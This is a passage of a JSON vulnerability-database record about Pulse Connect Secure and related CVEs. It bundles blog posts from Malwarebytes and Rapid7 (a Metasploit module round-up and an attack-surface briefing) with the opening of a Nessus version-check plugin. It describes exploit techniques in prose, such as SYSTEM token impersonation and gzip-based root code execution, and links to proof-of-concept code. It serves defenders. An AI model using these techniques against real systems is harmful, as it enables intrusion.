deploying modified Pulse Connect Secure files and scripts in order to maintain persistence. These modified scripts on the Pulse Secure system are reported to have allowed the malware to survive software updates and factory resets.\n\n### Threat analysis\n\nFireEye's Mandiant was involved in the research into these vulnerabilities. It has posted an elaborate analysis of the related malware, which they have dubbed SlowPulse. According to Mandiant, the malware and its variants are "applied as modifications to legitimate Pulse Secure files to bypass or log credentials in the authentication flows that exist within the legitimate Pulse Secure shared object libdsplibs.so". In their [blogpost](<https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html>) they discuss 4 variants. Interested parties can also find technical details and detections there.\n\n### Networking devices\n\nState sponsored cyber-attacks are often more about espionage than about monetary gain with the exception of sabotage against an enemy state. A big part of the espionage is getting hold of login credentials of those that have access to interesting secret information. Breaking into network devices in a way that can be used to extract login credential is an important strategy in this secret conflict. Keep in mind that attribution is always hard and tricky. You may end up reaching the conclusion they wanted you to reach. Given the targets and the methodology however, it makes sense in this case to look first at state sponsored threat actors.\n\n### Update May 4th\n\nThe Pulse Secure team released a security update to address the issue outlined in [Security Advisory SA44784 (CVE-2021-22893)](<https://kb.pulsesecure.net/pkb_mobile#article/l:en_US/SA44784/s>) impacting the Pulse Connect Secure appliance. It is recommend that customers act urgently to apply the update to ensure they are protected. On that note, Pulse Secure also recommends that customers use the Pulse Security Integrity Checker Tool, a tool for customers to identify malicious activity on their systems, and that they continue to apply and follow recommended guidance for all available security patches.\n\nThe post [Take action! Multiple Pulse Secure VPN vulnerabilities exploited in the wild](<https://blog.malwarebytes.com/malwarebytes-news/2021/04/take-action-multiple-pulse-secure-vpn-vulnerabilities-exploited-in-the-wild/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-04-21T18:12:15", "type": "malwarebytes", "title": "Take action! Multiple Pulse Secure VPN vulnerabilities exploited in the wild", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2020-8243", "CVE-2020-8260", "CVE-2021-22893"], "modified": "2021-04-21T18:12:15", "id": "MALWAREBYTES:60B52235DCBD12E98C7DB46F859F885C", "href": "https://blog.malwarebytes.com/malwarebytes-news/2021/04/take-action-multiple-pulse-secure-vpn-vulnerabilities-exploited-in-the-wild/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "rapid7blog": [{"lastseen": "2021-01-08T22:48:37", "description": "## Struts2 Multi Eval OGNL RCE\n\n\n\nOur very own [zeroSteiner](<https://github.com/zeroSteiner>) added [`exploit/multi/http/struts2_multi_eval_ognl`](<https://github.com/rapid7/metasploit-framework/pull/14521>), which exploits Struts2 evaluating OGNL expressions in HTML attributes multiple times ([CVE-2019-0230](<https://attackerkb.com/topics/mcp2xl4Va9/cve-2019-0230?referrer=blog>) and [CVE-2020-17530](<https://attackerkb.com/topics/LdoHePCiRm/cve-2020-17530?referrer=blog>)). The [CVE-2019-0230](<https://attackerkb.com/topics/mcp2xl4Va9/cve-2019-0230?referrer=blog>) OGNL chain for remote code execution requires a one-time chain to enable the RCE gadget, which is handled automatically by the module. The OGNL gadget chain for [CVE-2020-17530](<https://attackerkb.com/topics/LdoHePCiRm/cve-2020-17530?referrer=blog>) will echo the command output. Both chains use a simple mathematical expression to ensure that evaluation occurs. These vulnerabilities are application dependent, and the user does need to know which CVE they are targeting. Setting the `NAME` parameter appropriately and using the check method to ensure evaluation takes place inside an HTML attribute are key to successful exploitation.\n\n## JuicyPotato-like Windows privilege escalation exploit\n\nExploit module [`exploits/windows/local/bits_ntlm_token_impersonation`](<https://github.com/rapid7/metasploit-framework/pull/14046>) was added by Metasploit contributor [C4ssandre](<https://github.com/C4ssandre>). It exploits BITS connecting to a local Windows Remote Management server (WinRM) at startup time. A fake WinRM server listening on port `5985` is started by a `DLL` loaded from a previous unprivileged meterpreter session. The fake server triggers BITS and then steals a `SYSTEM` token from the subsequent authentication request. The token is then used to start a new process and launch `powershell.exe` as the `SYSTEM` user. It downloads a malicious PowerShell script and executes it on a second local HTTP server, not writing any files to disk. The exploit is based on [decoder's PoC](<https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/>). It has been successfully tested on Windows 10 (10.0 Build 19041) 32 bits.\n\n## Pulse Connect Secure Gzip RCE\n\nMetasploit contributor [h00die](<https://github.com/h00die>) added an [exploit](<https://github.com/rapid7/metasploit-framework/pull/14368>) that targets Pulse Connect Secure server version `9.1R8` and earlier. The vulnerability was originally discovered by the [NCC Group](<https://research.nccgroup.com/2020/10/26/technical-advisory-pulse-connect-secure-rce-via-uncontrolled-gzip-extraction-cve-2020-8260/>). It achieves authenticated remote code execution as `root` by uploading an encrypted config that contains an overwrite for a Perl template file. This module was made possible by [rxwx](<https://github.com/rxrx>), who shared the encryption code with the author. Admin credentials are required for successful `root` access. The module has been tested against server version `9.1R8`.\n\n## New modules (8)\n\n * [SpamTitan Unauthenticated RCE](<https://github.com/rapid7/metasploit-framework/pull/14330>) by [Christophe De La Fuente](<https://github.com/cdelafuente-r7>) and [Felipe Molina](<https://github.com/felmoltor>), which exploits [CVE-2020-11698](<https://attackerkb.com/topics/ZM17ZOD4ym/cve-2020-11698?referrer=blog>)\n * [Pulse Secure VPN gzip RCE](<https://github.com/rapid7/metasploit-framework/pull/14368>) by [David Cash](<https://research.nccgroup.com/author/dcashncc/>), [Richard Warren](<https://uk.linkedin.com/in/rich-warren-437a7841>), [Spencer McIntyre](<https://github.com/zeroSteiner>), and [h00die](<https://github.com/h00die>), which exploits [CVE-2020-8260](<https://attackerkb.com/topics/MToDzANCY4/cve-2020-8260?referrer=blog>)\n * [Apache Struts 2 Forced Multi OGNL Evaluation](<https://github.com/rapid7/metasploit-framework/pull/14521>) by [Alvaro Mu\u00f1oz](<https://github.com/pwntester>), Matthias Kaiser, [Spencer McIntyre](<https://github.com/zeroSteiner>), and [ka1n4t](<https://github.com/ka1n4t>), which exploits [CVE-2020-17530](<https://attackerkb.com/topics/LdoHePCiRm/cve-2020-17530?referrer=blog>) and [CVE-2019-0230](<https://attackerkb.com/topics/mcp2xl4Va9/cve-2019-0230?referrer=blog>)\n * [SYSTEM token impersonation through NTLM bits authentication on missing WinRM Service.](<https://github.com/rapid7/metasploit-framework/pull/14046>) by Andrea Pierini ([decoder](<https://github.com/decoder>)), Antonio Cocomazzi (splinter_code), [Cassandre](<https://github.com/C4ssandre>), and Roberto ([0xea31](<https://github.com/0xea31>))\n * [Shodan Host Port](<https://github.com/rapid7/metasploit-framework/pull/14429>) by [natto97](<https://github.com/natto97>)\n * [WordPress Duplicator File Read Vulnerability](<https://github.com/rapid7/metasploit-framework/pull/14497>) by Hoa Nguyen - SunCSR Team and Ramuel Gall, which exploits [CVE-2020-11738](<https://attackerkb.com/topics/judia21wRt/cve-2020-11738?referrer=blog>)\n * [WordPress Easy WP SMTP Password Reset](<https://github.com/rapid7/metasploit-framework/pull/14474>) by [h00die](<https://github.com/h00die>), which exploits [CVE-2020-35234](<https://attackerkb.com/topics/12eb7VUXHR/cve-2020-35234?referrer=blog>)\n * [WordPress Total Upkeep Unauthenticated Backup Downloader](<https://github.com/rapid7/metasploit-framework/pull/14568>) by Wadeek and [h00die](<https://github.com/h00die>)\n\n## Enhancements and features\n\n * PR [14566](<https://github.com/rapid7/metasploit-framework/pull/14566>) from [zeroSteiner](<https://github.com/zeroSteiner>) Module `auxiliary/server/socks_proxy` replaces `modules/auxiliary/server/socks4a.rb` and `modules/auxiliary/server/socks5.rb`.\n * PR [14538](<https://github.com/rapid7/metasploit-framework/pull/14538>) from [jmartin-r7](<https://github.com/jmartin-r7>) Improves Metasploit's XML importer error messages when data is not Base64 encoded.\n * PR [14528](<https://github.com/rapid7/metasploit-framework/pull/14528>) from [zeroSteiner](<https://github.com/zeroSteiner>) Clarifies Windows Meterpreter payloads description support of XP SP2 or newer.\n * PR [14522](<https://github.com/rapid7/metasploit-framework/pull/14522>) from [axxop](<https://github.com/axxop>) Replaces the hardcoded default Shiro encryption key with a new datastore option that allows users to specify rememberMe cookie encryption key.\n * PR [14517](<https://github.com/rapid7/metasploit-framework/pull/14517>) from [timwr](<https://github.com/timwr>) Changes the osx/x64/shell_reverse_tcp payload to be generated with Metasm and captures and sends STDERR to msfconsole.\n * PR [14509](<https://github.com/rapid7/metasploit-framework/pull/14509>) from [egypt](<https://github.com/egypt>) This adds a Java target to the Apache Solr RCE exploit module and fixes several payload issues.\n * PR [14444](<https://github.com/rapid7/metasploit-framework/pull/14444>) from [dwelch-r7](<https://github.com/dwelch-r7>) Adds a couple of missing methods from the remote data services for adding and deleting routes.\n\n## Bugs fixed\n\n * PR [14589](<https://github.com/rapid7/metasploit-framework/pull/14589>) from [timwr](<https://github.com/timwr>) Fixes a file download issue with the Android Meterpreter's download command.\n * PR [14532](<https://github.com/rapid7/metasploit-framework/pull/14532>) from [bcoles](<https://github.com/bcoles>) Fixes a NoMethodError exception caused by the Msf::Post::Common mixin not being included in post/android/capture/screen.\n * PR [14530](<https://github.com/rapid7/metasploit-framework/pull/14530>) from [jmartin-r7](<https://github.com/jmartin-r7>) Fixes a failing test on macOS caused by IPv6 vs IPv4 result precedence.\n * PR [14475](<https://github.com/rapid7/metasploit-framework/pull/14475>) from [dwelch-r7](<https://github.com/dwelch-r7>) Fixes the EICAR canary check.\n * PR [14334](<https://github.com/rapid7/metasploit-framework/pull/14334>) from [Summus-git](<https://github.com/Summus-git>) Fixes a x86 linux bind shell payloads socket closing bug.\n\n## Get it\n\nAs always, you can update to the latest Metasploit Framework with `msfupdate` \nand you can get more details on the changes since the last blog post from \nGitHub:\n\n * [Pull Requests 6.0.22...6.0.25](<https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222020-12-17T10%3A49%3A21-06%3A00..2021-01-07T10%3A58%3A16%2B00%3A00%22>)\n * [Full diff 6.0.22...6.0.25](<https://github.com/rapid7/metasploit-framework/compare/6.0.22...6.0.25>)\n\nIf you are a `git` user, you can clone the [Metasploit Framework repo](<https://github.com/rapid7/metasploit-framework>) (master branch) for the latest. \nTo install fresh without using git, you can use the open-source-only [Nightly Installers](<https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers>) or the \n[binary installers](<https://www.rapid7.com/products/metasploit/download.jsp>) (which also include the commercial edition).", "cvss3": {}, "published": "2021-01-08T19:54:36", "type": "rapid7blog", "title": "Metasploit Wrap-Up", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-0230", "CVE-2020-11698", "CVE-2020-11738", "CVE-2020-17530", "CVE-2020-35234", "CVE-2020-8260"], "modified": "2021-01-08T19:54:36", "id": "RAPID7BLOG:5482AC1594C82A230828023816657B57", "href": "https://blog.rapid7.com/2021/01/08/metasploit-wrap-up-93/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-25T01:34:04", "description": "\n\n_See the `Updates` section at the end of this post for new information as it comes to light._\n\nWhether you attended virtually, IRL, or not at all, Black Hat and DEF CON have officially wrapped, and security folks\u2019 brains are replete with fresh information on new (and some not-so-new) vulnerabilities and exploit chains. The \u201chacker summer camp\u201d conferences frequently also highlight attack surface area that may _not_ be net-new \u2014 but that is subjected to renewed and redoubled community interest coming out of Vegas week. See Rapid7\u2019s summaries [here](<https://www.rapid7.com/blog/post/2021/08/05/black-hat-recap-1/>) and [here](<https://www.rapid7.com/blog/post/2021/08/06/black-hat-recap-2/>).\n\nHere\u2019s the specific attack surface area and a few of the exploit chains we\u2019re keeping our eye on right now:\n\n * Orange Tsai stole the show (as always) at Black Hat with a talk on fresh **Microsoft Exchange** attack surface area. All in all, Orange discussed CVEs from [what appears to be four separate attack chains](<https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html>) \u2014including the ProxyLogon exploit chain that made headlines when it hit exposed Exchange servers as a zero-day attack [back in March](<https://www.rapid7.com/blog/post/2021/03/03/mass-exploitation-of-exchange-server-zero-day-cves-what-you-need-to-know/>) and the \u201cProxyShell\u201d exploit chain, which debuted at Pwn2Own and targets three now-patched CVEs in Exchange. Exchange continues to be a critically important attack surface area, and defenders should keep patched on a top-priority or zero-day basis wherever possible.\n * Print spooler vulnerabilities continue to cause nightmares. DEF CON saw the release of new privilege escalation exploits for Windows Print Spooler, and Black Hat featured a talk by Sangfor Technologies researchers that chronicled both [new Windows Print Spooler vulnerabilities](<https://attackerkb.com/assessments/85a30c9a-e126-4ec0-bda4-d166e03c5390>) and past patch bypasses for vulns like CVE-2020-1048 (whose patch was bypassed three times). Given that many defenders are still trying to remediate the \u201cPrintNightmare\u201d vulnerability from several weeks ago, it\u2019s fair to say that Windows Print Spooler will remain an important attack surface area to prioritize in future Patch Tuesdays.\n * There\u2019s also a new vulnerability in Pulse Connect Secure VPNs that caught our attention \u2014 the vuln is actually a bypass for CVE-2020-8260, which came out last fall and evidently didn\u2019t completely fade away \u2014 despite the fact that it\u2019s authenticated and requires admin access. With CISA\u2019s warnings about APT attacks against Pulse Connect Secure devices, it\u2019s probably wise to patch CVE-2021-22937 quickly.\n * And finally, the SpecterOps crew gave a highly anticipated Black Hat talk on several new attack techniques that [abuse Active Directory Certificate Services](<https://posts.specterops.io/certified-pre-owned-d95910965cd2>) \u2014 something we covered previously in our summary of the [PetitPotam attack chain](<https://www.rapid7.com/blog/post/2021/08/03/petitpotam-novel-attack-chain-can-fully-compromise-windows-domains-running-ad-cs/>). This is neat research for red teams, and it may well show up on blue teams\u2019 pentest reports.\n\n### Microsoft Exchange ProxyShell chain\n\n**Patches:** Available \n**Threat status:** Possible threat (at least one report of exploitation in the wild)\n\nIt goes without saying that Microsoft Exchange is a high-value, popular attack surface that gets constant attention from threat actors and researchers alike. That attention is increasing yet again after prominent security researcher Orange Tsai gave a talk at Black Hat USA last week revealing details on an attack chain first demonstrated at Pwn2Own. The chain, dubbed \u201cProxyShell,\u201d allows an attacker to take over an unpatched Exchange server. ProxyShell is similar to ProxyLogon (i.e., [CVE-2021-26855](<https://attackerkb.com/assessments/a5c77ede-3824-4176-a955-d6cf9a6a7417>) and [CVE-2021-27065](<https://attackerkb.com/assessments/74177979-e2ef-4078-9f91-993964292cfa>)), which continues to be popular in targeted attacks and opportunistic scans despite the fact that it was patched in March 2021.\n\nTwo of the three vulnerabilities used for ProxyShell were patched in April by Microsoft and the third was patched in July. As of August 9, 2021, private exploits have already been developed, and it\u2019s probably only a matter of time before public exploit code is released, which may allow for broader exploitation of the vulns in this attack chain (in spite of its complexity!). Rapid7 estimates that there are, at least, nearly 75,000 ProxyShell-vulnerable exchange servers online:\n\n\n\nWe strongly recommend that Exchange admins confirm that updates have been applied appropriately; if you haven\u2019t patched yet, you should do so immediately on an emergency basis.\n\nOne gotcha when it comes to Exchange administration is that Microsoft only releases security fixes for the [most recent Cumulative Update versions](<https://docs.microsoft.com/en-us/exchange/new-features/updates>), so it\u2019s vital to stay up to date with these quarterly releases in order to react quickly when new patches are published.\n\nProxyShell CVEs:\n\n * [CVE-2021-31207](<https://nvd.nist.gov/vuln/detail/CVE-2021-31207>)\n * [CVE-2021-34473](<https://nvd.nist.gov/vuln/detail/CVE-2021-34473>)\n * [CVE-2021-34523\u200b](<https://nvd.nist.gov/vuln/detail/CVE-2021-34523>)\n\n### Windows Print Spooler \u2014 and more printer woes\n\n**Patches:** Varies by CVE, mostly available \n**Threat status:** Varies by CVE, active and impending\n\nThe Windows Print Spooler was the subject of renewed attention after the premature disclosure of the PrintNightmare vulnerability earlier this summer, followed by new Black Hat and DEF CON talks last week. Among the CVEs discussed were a quartet of 2020 vulns (three of which were bypasses descended from CVE-2020-1048, which has been exploited in the wild since last year), three new remote code execution vulnerabilities arising from memory corruption flaws, and two new local privilege escalation vulnerabilities highlighted by researcher [Jacob Baines](<https://twitter.com/Junior_Baines>). Of this last group, one vulnerability \u2014 CVE-2021-38085 \u2014 remains unpatched.\n\nOn August 11, 2021, Microsoft assigned [CVE-2021-36958](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36958>) to the latest Print Spooler remote code execution vulnerability which appears to require local system access and user interaction. Further details are limited at this time. However, as mitigation, Microsoft is continuing to recommend stopping and disabling the Print Spooler service. Even after this latest zero-day vulnerability is patched, we strongly recommend leaving the Print Spooler service disabled wherever possible. Read Rapid7\u2019s [blog on PrintNightmare](<https://www.rapid7.com/blog/post/2021/06/30/cve-2021-1675-printnightmare-patch-does-not-remediate-vulnerability/>) for further details and updates.\n\nWindows Print Spooler and related CVEs:\n\n * [CVE-2020-1048](<https://attackerkb.com/topics/QoQvwrIqEV/cve-2020-1048-windows-print-spooler-elevation-of-privilege-vulnerability?referrer=blog>) (elevation of privilege vuln in Windows Print Spooler presented at Black Hat 2020; exploited in the wild, Metasploit module available)\n * [CVE-2020-1337](<https://attackerkb.com/topics/mEEwlfrTK3/cve-2020-1337?referrer=blog>) (patch bypass for CVE-2020-1048; Metasploit module available)\n * [CVE-2020-17001](<https://attackerkb.com/topics/oGAzAwKy1N/cve-2020-17001?referrer=blog>) (patch bypass variant for CVE-2020-1048)\n * [CVE-2020-17014](<https://attackerkb.com/topics/N9XhrkViyk/cve-2020-17014?referrer=blog>) (patch bypass variant for CVE-2020-1048)\n * [CVE-2020-1300](<https://attackerkb.com/topics/43jdEqsVY1/cve-2020-1300?referrer=blog>) (local privilege escalation technique known as \u201c[EvilPrinter](<https://twitter.com/R3dF09/status/1271485928989528064>)\u201d presented at DEF CON 2020)\n * [CVE-2021-24088](<https://attackerkb.com/assessments/85a30c9a-e126-4ec0-bda4-d166e03c5390>) (new remote code execution vulnerability in the Windows local spooler, as presented at Black Hat 2021)\n * [CVE-2021-24077](<https://attackerkb.com/topics/wiyGYban1l/cve-2021-24077?referrer=blog>) (new remote code execution vulnerability in the Windows Fax Service, as presented at Black Hat 2021)\n * [CVE-2021-1722](<https://attackerkb.com/topics/v1Qm7veSwf/cve-2021-1722?referrer=blog>) (new remote code execution vulnerability in the Windows Fax Service, as presented at Black Hat 2021)\n * [CVE-2021-1675](<https://attackerkb.com/topics/dI1bxlM0ay/cve-2021-1675?referrer=blog>) (elevation of privilege vuln in Windows Print Spooler patched in June 2021)\n * [CVE-2021-34527](<https://attackerkb.com/topics/MIHLz4sY3s/cve-2021-34527-printnightmare?referrer=blog>), aka \u201cPrintNightmare\u201d\n * [CVE-2021-35449](<https://attackerkb.com/topics/9sV2bS0OSj/cve-2021-35449?referrer=blog>) (print driver local privilege escalation vulnerability, as [presented](<https://www.youtube.com/watch?v=vdesswZYz-8>) at DEF CON 2021; Metasploit module in progress)\n * [CVE-2021-38085](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-38085>) (**unpatched** print driver local privilege escalation vulnerability, as [presented](<https://www.youtube.com/watch?v=vdesswZYz-8>) at DEF CON 2021; Metasploit module in progress)\n * [CVE-2021-36958](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36958>) (**unpatched** remote code execution vulnerability; announced August 11, 2021)\n\nCurrently, both [PrintNightmare](<https://www.rapid7.com/blog/post/2021/06/30/cve-2021-1675-printnightmare-patch-does-not-remediate-vulnerability/>) CVE-2021-34527 and CVE-2020-1048 are known to be exploited in the wild. As the list above demonstrates, patching print spooler and related vulns quickly and completely has been a challenge for Microsoft for the past year or so. The multi-step mitigations required for some vulnerabilities also give attackers an advantage. Defenders should harden printer setups wherever possible, including against malicious driver installation.\n\n### Pulse Connect Secure CVE-2021-22937\n\n**Patch:** Available \n**Threat status:** Impending (Exploitation expected soon)\n\nOn Monday, August 2, 2021, Ivanti published [Security Advisory SA44858](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44858>) which, among other fixes, includes a fix for CVE-2021-22937 for Pulse Connect Secure VPN Appliances running 9.1R11 or prior. Successful exploitation of this vulnerability, which carries a CVSSv3 score of 9.1, requires the use of an authenticated administrator account to achieve remote code execution (RCE) as user `root`.\n\nPublic proof-of-concept (PoC) exploit code has not been released as of this writing. However, this vulnerability is simply a workaround for [CVE-2020-8260](<https://blog.rapid7.com/2021/08/12/popular-attack-surfaces-august-2021-what-you-need-to-know/%E2%80%8B%E2%80%8Bhttps://attackerkb.com/topics/MToDzANCY4/cve-2020-8260?referrer=search#vuln-details>), an authentication bypass vulnerability that was heavily utilized by attackers, released in October 2020.\n\nThe Cybersecurity and Infrastructure Security Agency (CISA) has been monitoring the [Exploitation of Pulse Connect Secure Vulnerabilities](<https://us-cert.cisa.gov/ncas/alerts/aa21-110a>) demonstrating that attackers have been targeting Ivanti Pulse Connect Secure products for over a year. Due to attacker focus on Pulse Connect Secure products, and especially last year\u2019s CVE-2020-8260, Rapid7 recommends patching CVE-2021-22937 as soon as possible.\n\n### PetitPotam: Windows domain compromise\n\n**Patches:** Available \n**Threat status:** Threat (Exploited in the wild)\n\nIn July 2021, security researcher [Topotam](<https://github.com/topotam>) published a [PoC implementation](<https://github.com/topotam/PetitPotam>) of a novel NTLM relay attack christened \u201cPetitPotam.\u201d The technique used in the PoC allows a remote, unauthenticated attacker to completely take over a Windows domain with the Active Directory Certificate Service (AD CS) running \u2014 including domain controllers. Rapid7 researchers have tested public PoC code against a Windows domain controller setup and confirmed exploitability. One of our [senior researchers](<https://twitter.com/wvuuuuuuuuuuuuu>) summed it up with: "This attack is too easy." You can read Rapid7\u2019s full blog post [here](<https://www.rapid7.com/blog/post/2021/08/03/petitpotam-novel-attack-chain-can-fully-compromise-windows-domains-running-ad-cs/>).\n\nOn August 10, 2021, Microsoft released a patch that addresses the PetitPotam NTLM relay attack vector in today's Patch Tuesday. Tracked as [CVE-2021-36942](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942>), the August 2021 Patch Tuesday security update blocks the affected API calls [OpenEncryptedFileRawA](<https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-openencryptedfilerawa>) and [OpenEncryptedFileRawW](<https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-openencryptedfileraww>) through the LSARPC interface. Windows administrators should prioritize patching domain controllers and will still need to take additional steps listed in [KB5005413](<https://support.microsoft.com/en-us/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429>) to ensure their systems are fully mitigated.\n\n### Rapid7 customers\n\nInsightVM and Nexpose customers can assess their exposure to the vulnerabilities in this post with authenticated vulnerability checks. Please note that details haven\u2019t yet been released on CVE-2021-38085 and CVE-2021-36958; therefore, it\u2019s still awaiting analysis and check development.\n\n### Updates\n\n**Pulse Connect Secure CVE-2021-22937** \nOn August 24, 2021, the Cybersecurity & Infrastructure Security Agency (CISA) released [Malware Analysis Report (AR21-236E)](<https://us-cert.cisa.gov/ncas/analysis-reports/ar21-236e>) which includes indicators of compromise (IOCs) to assist with Pulse Connect Secure investigations.\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-12T17:13:25", "type": "rapid7blog", "title": "Popular Attack Surfaces, August 2021: What You Need to Know", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-1048", "CVE-2020-1300", "CVE-2020-1337", "CVE-2020-17001", "CVE-2020-17014", "CVE-2020-8260", "CVE-2021-1675", "CVE-2021-1722", "CVE-2021-22937", "CVE-2021-24077", "CVE-2021-24088", "CVE-2021-26855", "CVE-2021-27065", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-34527", "CVE-2021-35449", "CVE-2021-36942", "CVE-2021-36958", "CVE-2021-38085"], "modified": "2021-08-12T17:13:25", "id": "RAPID7BLOG:5CDF95FB2AC31414FD390E0E0A47E057", "href": "https://blog.rapid7.com/2021/08/12/popular-attack-surfaces-august-2021-what-you-need-to-know/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "nessus": [{"lastseen": "2022-12-21T14:38:23", "description": "According to its self-reported version, the version of Pulse Policy Secure running on the remote host is prior to 9.1R9. It is, therefore, affected by the following vulnerabilities:\n\n - A vulnerability in the Pulse Connect Secure < 9.1R9 admin web interface could allow an authenticated attacker to perform an arbitrary code execution using uncontrolled gzip extraction. (CVE-2020-8260)\n\n - A vulnerability in the Pulse Connect Secure / Pulse Policy Secure < 9.1R9 is vulnerable to arbitrary cookie injection. (CVE-2020-8261)\n\n - jQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles jQuery.extend(true, {}, ...) because of Object.prototype pollution. If an unsanitized source object contained an enumerable\n __proto__ property, it could extend the native Object.prototype. (CVE-2019-11358)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.", "cvss3": {"score": 7.2, "vector": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"}, "published": "2020-10-30T00:00:00", "type": "nessus", "title": "Pulse Policy Secure < 9.1R9 (SA44601)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2015-9251", "CVE-2019-11358", "CVE-2020-15352", "CVE-2020-8255", "CVE-2020-8260", "CVE-2020-8261", "CVE-2020-8262", "CVE-2020-8263"], "modified": "2022-12-05T00:00:00", "cpe": ["cpe:/a:pulsesecure:pulse_policy_secure"], "id": "PULSE_POLICY_SECURE-SA44601.NASL", "href": "https://www.tenable.com/plugins/nessus/142057", "sourceData": "##\n# (c) Tenable Network Security, Inc.\n##\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(142057);\n script_version(\"1.9\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/12/05\");\n\n script_cve_id(\n \"CVE-2015-9251\",\n \"CVE-2019-11358\",\n \"CVE-2020-8255\",\n \"CVE-2020-8260\",\n \"CVE-2020-8261\",\n \"CVE-2020-8262\",\n \"CVE-2020-8263\",\n \"CVE-2020-15352\"\n );\n script_xref(name:\"IAVA\", value:\"2020-A-0495\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2021/04/23\");\n script_xref(name:\"CEA-ID\", value:\"CEA-2021-0004\");\n script_xref(name:\"CEA-ID\", value:\"CEA-2021-0025\");\n\n script_name(english:\"Pulse Policy Secure < 9.1R9 (SA44601)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote device is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to its self-reported version, the version of Pulse Policy Secure running on the remote host is prior to\n9.1R9. It is, therefore, affected by the following vulnerabilities:\n\n - A vulnerability in the Pulse Connect Secure < 9.1R9 admin web interface could allow an authenticated\n attacker to perform an arbitrary code execution using uncontrolled gzip extraction. (CVE-2020-8260)\n\n - A vulnerability in the Pulse Connect Secure / Pulse Policy Secure < 9.1R9 is vulnerable to arbitrary\n cookie injection. (CVE-2020-8261)\n\n - jQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles jQuery.extend(true,\n {}, ...) because of Object.prototype pollution. If an unsanitized source object contained an enumerable\n __proto__ property, it could extend the native Object.prototype. (CVE-2019-11358)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version\nnumber.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44601\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to Pulse Policy Secure version 9.1R9 or later.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:S/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H\");\n 